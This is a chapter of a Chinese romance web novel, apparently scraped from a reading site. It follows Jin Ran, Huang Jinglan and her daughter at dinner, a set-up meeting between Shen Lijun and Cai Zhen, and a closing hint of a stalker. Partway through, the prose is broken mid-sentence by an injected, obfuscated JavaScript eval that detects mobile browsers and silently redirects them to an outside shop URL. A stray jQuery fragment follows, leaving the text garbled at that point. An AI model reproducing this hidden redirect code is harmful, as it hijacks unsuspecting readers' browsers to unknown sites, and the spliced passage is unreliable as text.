27. 书房重地
    “金董!吃饭了!”

    坐在儿童椅上的小姑娘用清脆响亮的童声冲书房喊道。

    “黄思晨!不许没礼貌!”

    黄景兰皱眉用筷子在女儿肉乎乎的小胳膊上轻敲了一下。

    “哇啊啊啊啊!”

    “受害人”夸张地抱着自己的小胳膊,雷声大雨点小放声嚎啕:

    “打人啦!快来人护驾啊!”

    金冉总算从书房出来,看着正在打闹的母女俩,嘴角挂着掩饰不住的笑意,加入了这场小情景喜剧。

    “微臣救驾来迟,快让我看看这是怎么个事?”

    黄思晨向她伸出一截短胖的胳膊,委屈巴巴地告状:“黄老师打我!”

    黄景兰扶额,小朋友跟着她在剧组转了一圈,别的没学到,乱七八糟的称呼倒是学了个齐全。

    无奈道:“我就用筷子轻轻拍了你一下,能不能不要乱说……”

    黄思晨不服:“可疼了!”

    “你胳膊都伸错了,我打的是另一只。”

    黄思晨没有表现出任何尴尬,理直气壮地换了一截胳膊,重新伸到已经落座的金冉跟前:“金董你看,她承认打我了!”

    金冉十分配合地轻拖起她小而珍贵的肉乎胳膊,煞有介事地左右端详一阵,说:“嗯嗯,确实伤得不轻。”

    黄思晨扬起小脑袋,对着无奈的亲妈露出一个不知道在得意什么的小表情。

    然后就听金冉接着说:“黄大小姐伤势严重,以微臣之见,得多吃点青椒才能好啊。”

    黄思晨小脸猛地一皱,迅速把胳膊从逆臣贼子的手里抽回来,警惕地看着金冉,仿佛下一秒就要被谋逆的金董投喂名为青椒的猛毒。

    她在吃饭这件事上不算省心,十分抗拒蔬菜,尤其是青椒。

    黄景兰脸色一转,不怀好意笑得狡黠:“是呀大小姐,您伤得这么厉害,不吃青椒可不会好起来。”

    说着就往黄思晨的卡通小碗里夹了两快绿油油的青椒

    黄思晨黑葡萄一样的眼睛在眼眶里滴流乱转,努力思考该如何躲开青椒惩罚。

    金冉两手托腮,期待地看着黄思晨:“黄大小姐又坚强又厉害,只是两片小小的青椒,肯定能潇洒地把它们消灭掉。”

    黄景兰紧随其后:“妈妈刚才打了思晨,现在觉得特别内疚,思晨愿意原谅妈妈,吃掉青椒快点好起来吗?”

    黄思晨被两个狡诈的成年人一左一右架在天花板上,握着勺子的小圆手犹犹豫豫,时不时抬头左右看看金冉和黄景兰脸上期待的表情,最终还是一把铲起绿色“毒药”,闭着眼睛吃了。

    小朋友边嚼边拉下的嘴角成功让金冉破功。

    “哈哈哈哈哈。”

    吃个青椒,至于这么痛苦吗。

    黄景兰给女儿夹了她爱吃的肉肉以示安慰鼓励,长腿借着桌子的掩饰,轻踢了下金冉的拖鞋。

    金冉憋着笑收了声,又夸张地表扬了黄思晨一番。

    手边的手机不适时地响了起来,是陌生的电话号码。

    金冉接起,听清对面人是谁,给对面的黄景兰做了个无奈的表情,起身回到书房。

    “至于吗你?”

    电话那头的沈立钧:“帮我个忙,之前那件事就算两清了。”

    “啧。”金冉靠在书桌边,电话换到左手,右手从桌上捞起一支颇具分量的钢笔转着,“你先说要我怎么帮。”

    “把蔡振约出来,我要单独见他。”

    粤市的夕阳刚落不久,天空还泛着蓝紫相接的颜色。

    “可以是可以,”金冉沉思片刻后开口,“但你别抱太大希望,他野心大着呢,小心别被着了他的道。”

    “我知道。”

    “行。我约好时间地点,回头打这个电话?”

    “这个号只用一次,明天晚上我再联系你,尽量约在后天,我等不了太久。”

    金冉烦躁地咬了下唇,说了句“毛病”,就率先挂断电话。

    按蔡振的家世和出身来说,本是够不上金冉、李运泽他们这些人的圈子的,但这人硬是靠着一张“见人说人话,见鬼说鬼话”的嘴,在粤市的每一个圈子都混得得心应手。

    这样的人,怎么可能没有野心。

    沈立钧想见蔡振,很可能想办的事没办成,还被这位野心家当做献宝的礼物送到方雅云手里。

    “怎么了?”

    见金冉迟迟不出来,黄景兰安顿好黄思晨,敲响书房虚掩的房门。

    金冉回过头,脸上的冷沉一扫而空,擎着柔和的微笑,把手机放回兜里:“工作上的小事,别担心。”

    黄景兰的新戏在粤市采景,这几天没有她的戏份,在金冉的盛情邀请下,带着女儿临时住了进来。

    她其实也不清楚自己同意住进来的目的,是为了不用华市粤市两头跑的便利,还是别的什么……

    “快过来吃饭吧,”黄景兰最近有点不敢长时间直视金冉那双过于温柔的眸子,搬出女儿当救兵,“你不在,思晨又不肯老实吃饭。”

    “嗯。”

    金冉看着扶着房门,和书房重地保留着要进不进暧昧距离的黄景兰,蕴满了温柔的眼底浮出更深的感情。

    “我今天是劝不动她吃青椒了,再吃感觉她就要哭了。”

    黄景兰头微微低着,柔软的长发掩住半张五官精致的脸,声音小小的:“我也不爱吃那东西。”

    “噗……哈哈哈哈哈哈……你们两个哈哈哈哈……”

    太可爱了。

    金冉实在忍不住,在黄景兰娇嗔的怒视下笑弯了腰。

    见人恼羞成怒欲转身离去,金冉收了声,三两步走到她身边,亲昵地挽上黄景兰细嫩的胳膊,离开书房。

    算了。反正是李家内部的事,跟她金冉没关系,爱怎么样怎么样吧。

    “约好了。明天早上8点,琉光酒家8楼8号包厢。”

    “……”

    “怎么样,知道你着急,特意约了早上的时间,还是888这么吉利的数……”

    电话那头冷冷地放下一个“好”字,就挂断了通讯。

    金冉嫌弃地看了眼屏幕上显示已经结束的通话:“嘿!这人真不领情!”

    “怎么?”黄景兰抱着剧本半躺在她对面的沙发椅里。

    金冉摆摆手:“不提他了,接着说你的事。”

    “我在想要不要让思晨上这边的幼儿园…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208298|151054||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”黄景兰手中的剧本慢慢被团成细细的一卷,“我不能一直待在华市,把思晨交给保姆我也放不下心,如果、如果有……你能偶尔帮我……”

    “当然可以。”

    黄景兰抬起头,对上金冉那双灼人的眸子,没再回避视线。

    金冉从书桌后面绕到黄景兰身前,低头抚上那张和书房装饰不搭的柔软椅子。

    “我愿意。”

    沈立钧被侍者引到8号包厢,蔡振已经坐在里面吃早点了。

    “坐。”

    酒楼的少东家没起身迎接稀客,拿沾着米粒的勺子点了点自己对面的椅子。

    “昨晚陪李少转了3家,酒劲儿还没下去,就不起来丢人了。”

    他端着粥碗,边吹边啜,全程没抬头看进来的男人。

    沈立钧没对他不在乎的态度表示不满,在对面落座,看着蔡振咽下暖粥后长舒一口气,才沉声开口:

    “李太太给你的封口费是什么?”

    李运泽出了气,第一时间就杀回刚丢了面子的夜店,向可能会在背后嘲笑自己的小弟们吹嘘了自己的丰功伟绩。

    即使被打破了相,李太太也不允许有人在背后嚼她儿子的舌根,当晚就挨个打点好了那张桌。

    蔡振夹起一只晶莹剔透的虾饺,分两口吃了。

    “你猜,如果我把你谋逆的心思跟方雅云说了,能不能得到一笔更大的封口费。”

    沈立钧淡定依旧:“李运泽要是把嘉百卖了,李太太也给不了你想要的。”

    蔡振总算抬起头,正眼看着对面的男人:“那晚有你的人?”

    “蔡总说过什么不能让李运泽听见的话吗?”

    明知故问。

    本想趁机敲沈立钧和方雅云一笔的蔡振轻嗤一口气,暗叹自己果然没有一口气吃成胖子的命。

    他放下筷子,用纸巾擦了擦嘴。

    “说吧,你想要什么?”

    ……

    姚依柠一个人在办公室解决掉晚饭,对着显示器寂寞的荧光,心不在焉地看了两个小时,视线无数次瞥向时间。

    “你还不走啊?”值班巡查的保安难得看到姚依柠一个人坐在办公区,打了声招呼,“领导都出差了,要不要这么拼啊?”

    “夜巡辛苦啦,”姚依柠打起精神回了个笑脸,“新项目一直没思路,我再耗一会儿。”

    思路虽然有了几版,但一个比一个激进,连ai都只测算出50%概率的正面评价……

    她在往常下班的时间收拾东西下楼,坐进奥迪a8。

    “师傅,”姚依柠挠挠脸,对自己耽误司机下班感到有些不太好意思,“沈总以前出差,你是不是就相当于带薪休假了?”

    司机十分随和,领导不在车上,却也把车开的稳稳当当:

    “咳,小姑娘别瞎想,以前沈总出差我也得跟着去,现在只用晚上跑一趟,比去外地跑不熟悉的路强多啦。”

    姚依柠的负罪感稍减,下车后和司机挥手道别,表示明天自己明天还是10点下班,不用提前等她。

    一人上楼,一人开车离开。

    昏黄的感应灯亮起,无法照亮不远处一个戴着兜帽男人的面容。